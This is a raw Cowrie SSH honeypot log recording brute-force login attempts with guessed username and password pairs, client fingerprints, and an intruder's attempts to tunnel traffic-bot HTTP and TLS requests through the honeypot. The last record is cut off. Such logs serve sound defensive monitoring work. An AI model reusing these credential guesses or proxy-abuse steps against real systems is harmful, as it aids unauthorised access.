{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:42.672479Z","src_ip":"45.153.34.195","session":"83bbfd67221a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:43.233341Z","src_ip":"91.92.40.36","session":"4bd1444b973a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:43.239546Z","src_ip":"45.153.34.195","session":"83bbfd67221a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":53993,"dst_ip":"10.17.0.5","dst_port":22,"session":"eabad9fa15a8","protocol":"ssh","message":"New connection: 123.27.168.40:53993 (10.17.0.5:22) [session: eabad9fa15a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:44.059010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:44.064082Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:44.307972Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:44.336306Z","src_ip":"45.153.34.195","session":"83bbfd67221a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:45.365220Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40164,"dst_ip":"10.17.0.5","dst_port":22,"session":"58569dbf6762","protocol":"ssh","message":"New connection: 45.153.34.195:40164 (10.17.0.5:22) [session: 58569dbf6762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:45.403304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:45.449691Z","src_ip":"45.153.34.195","session":"58569dbf6762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:45.710871Z","src_ip":"45.153.34.195","session":"58569dbf6762","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:45.852498Z","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:45.922503Z","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.096252Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:71.0) Gecko/20100101 Firefox/71.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1168\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bkY2NDg8VmRhbHhUQWV3Xw%3D%3DZDfp%2BiWuTjTOq8Lvw5ihsRiUiangAIfx1BYD2PuF23guoVpagR3XsQ5Vws92g4I1K7K%2BdoOnxYgBP4hAm8fxubfx%2Btp%2B4iQHAgdnyIlgm4Je1bZVHZ69CGTNiYfz%2FRLrzkhIRUkSbs4WNrBzVlX3o4WT5j%2BZSopR950xhwCD6Ki2FUc0xn1Usqk7Or3ksEJF%2F8%2Bw0qaSCM0uGmR16BunU08%2BgUry3s5GkY%2Brftl4X1RLSnjlILjNPoSIH4pwodfCQokYYVgIY1IncyxmoYYFPAxul4osCIYNqTtV7MK2YoQrD7ck%2B0rkxZlOadcfrcDrZQGleyFqevQAkG7esRsEKf9QTRsZVBxKxF3FuKc0Nkurpet1wE2CPxOPt8nGFu6Zq4E6HjccftN36U%2FetrmZeWwlX4wRq5B%2BObm4gNUWz7QOkCI2rXRWOLUSj7UNc2jlQ4LO%2FSYSeGKXQnrjr6iFsT3Xwd52HFT1E7AxisATtKw%2F2%2Bu2wAlP%2Fp50XdeIBC6fPvlBMoVIuR5eAGBm14oZ4YqfIj9vOh7oMvwCHmTUGJyW0oy7ytdReeWo0luOLTtwBiekOfq1jpCIkRGZEBcidVqA5xLTXcE1dbL6hKjH2qmtFdaTMxhU15hDYGS4CbK7fnexR8f3wCwhFV1Ykyr2YsyLgVIO9UVJPES5jQbcj0XTHphzZRyQcj5nBO1FI8GznohvD1A1unXjXO9vNL79pXsKxeFuZ4j7DRBDq7kNdalj73ZMXftYZn9WZTzej7%2B02EPSKURb0YsJkl7sj2Gm24gsMlZzY6UDNNpogMYqIF%2Fp5Z5GXbpYT5BmKyCXi8%2BWxJvaBsyNcQTTFEylk70m809as%2FXoqVfnMhlJxz4zN7m%2BknUxuhb9k7z5I2X4c9R1hiKwfGD1lD094shzPFTmgUXcz9Sp0nBRUp92Kp9Bsmvk%2BolDthxIQOKXK0jF9qR0VmVJK0HSCIoJZUz2Uh4KBhk8TP6j5ZWHBHVJ3TpxEAm4VrSxMc9enhLhESDvZcqqd3ShBgkK4%2FkoEEskuqTXEfbrCkZ0NVQ2TTD32IAt9xR7do5YDOTKVlSDn9dE%2B6po'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:71.0) Gecko/20100101 Firefox/71.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1168\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bkY2NDg8VmRhbHhUQWV3Xw%3D%3DZDfp%2BiWuTjTOq8Lvw5ihsRiUiangAIfx1BYD2PuF23guoVpagR3XsQ5Vws92g4I1K7K%2BdoOnxYgBP4hAm8fxubfx%2Btp%2B4iQHAgdnyIlgm4Je1bZVHZ69CGTNiYfz%2FRLrzkhIRUkSbs4WNrBzVlX3o4WT5j%2BZSopR950xhwCD6Ki2FUc0xn1Usqk7Or3ksEJF%2F8%2Bw0qaSCM0uGmR16BunU08%2BgUry3s5GkY%2Brftl4X1RLSnjlILjNPoSIH4pwodfCQokYYVgIY1IncyxmoYYFPAxul4osCIYNqTtV7MK2YoQrD7ck%2B0rkxZlOadcfrcDrZQGleyFqevQAkG7esRsEKf9QTRsZVBxKxF3FuKc0Nkurpet1wE2CPxOPt8nGFu6Zq4E6HjccftN36U%2FetrmZeWwlX4wRq5B%2BObm4gNUWz7QOkCI2rXRWOLUSj7UNc2jlQ4LO%2FSYSeGKXQnrjr6iFsT3Xwd52HFT1E7AxisATtKw%2F2%2Bu2wAlP%2Fp50XdeIBC6fPvlBMoVIuR5eAGBm14oZ4YqfIj9vOh7oMvwCHmTUGJyW0oy7ytdReeWo0luOLTtwBiekOfq1jpCIkRGZEBcidVqA5xLTXcE1dbL6hKjH2qmtFdaTMxhU15hDYGS4CbK7fnexR8f3wCwhFV1Ykyr2YsyLgVIO9UVJPES5jQbcj0XTHphzZRyQcj5nBO1FI8GznohvD1A1unXjXO9vNL79pXsKxeFuZ4j7DRBDq7kNdalj73ZMXftYZn9WZTzej7%2B02EPSKURb0YsJkl7sj2Gm24gsMlZzY6UDNNpogMYqIF%2Fp5Z5GXbpYT5BmKyCXi8%2BWxJvaBsyNcQTTFEylk70m809as%2FXoqVfnMhlJxz4zN7m%2BknUxuhb9k7z5I2X4c9R1hiKwfGD1lD094shzPFTmgUXcz9Sp0nBRUp92Kp9Bsmvk%2BolDthxIQOKXK0jF9qR0VmVJK0HSCIoJZUz2Uh4KBhk8TP6j5ZWHBHVJ3TpxEAm4VrSxMc9enhLhESDvZcqqd3ShBgkK4%2FkoEEskuqTXEfbrCkZ0NVQ2TTD32IAt9xR7do5YDOTKVlSDn9dE%2B6po'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.099395Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CatCult2025!","message":"login attempt [root/CatCult2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.210593Z","src_ip":"45.153.34.195","session":"58569dbf6762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.244714Z","src_ip":"91.92.40.36","session":"4bd1444b973a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.333277Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcc\\xa4\\xf6\\xb4\\xeeK|x\\x1fb\\xf2N\\x89\\x8aZb\\t\\x14l\\n\\xe3\\xecm\\xd3{\\xec0\\xf2\\x1f\\x8c;\\xe8 \\x9d\\xfa\\x9a\\xa1\\xa2Y\\xa7\\x94j\\x10\\xcb\\x18a\\xfc\\x19\\xbc&\\xb0\\x92Q\\xda\\x16F\\x92.x\\xb6&\\x12k\\xabH\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\t\\x17\\x96\\x0f\\x9dHc\\x9d[$\\xf7\\xb3]\\x11 \\xfb\\x03d\\xf1\\r;\\xf2\\x14\\xc1\\xc5\\xdbi\\xb69\\x1e>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcc\\xa4\\xf6\\xb4\\xeeK|x\\x1fb\\xf2N\\x89\\x8aZb\\t\\x14l\\n\\xe3\\xecm\\xd3{\\xec0\\xf2\\x1f\\x8c;\\xe8 \\x9d\\xfa\\x9a\\xa1\\xa2Y\\xa7\\x94j\\x10\\xcb\\x18a\\xfc\\x19\\xbc&\\xb0\\x92Q\\xda\\x16F\\x92.x\\xb6&\\x12k\\xabH\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\t\\x17\\x96\\x0f\\x9dHc\\x9d[$\\xf7\\xb3]\\x11 \\xfb\\x03d\\xf1\\r;\\xf2\\x14\\xc1\\xc5\\xdbi\\xb69\\x1e>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.336793Z","src_ip":"123.27.168.40","session":"eabad9fa15a8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.769006Z","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:46.784886Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeb\\xc6\\xc8\\x0bc(C.[\\xf3\\xe3\\xcd\\x1e\\x02\\xc1\\xe7\\xee\\x95\\\\\\xd3\\x02\\xcd\\xad\\xa4\\xb3\\x86\\xb6\\x0f\\xb7\\xa9\\x8d\\x83 W%>V\\x19\\xc9\\xc6\\x03G\\t\\x1d\\xc5\\x8c#@~\\xb5\\xa3s\\xf0(\\x1c|\\x12\\xb4d\\xa2\\x9c\\xa5\\x98\\xc6\\x1c\\x00 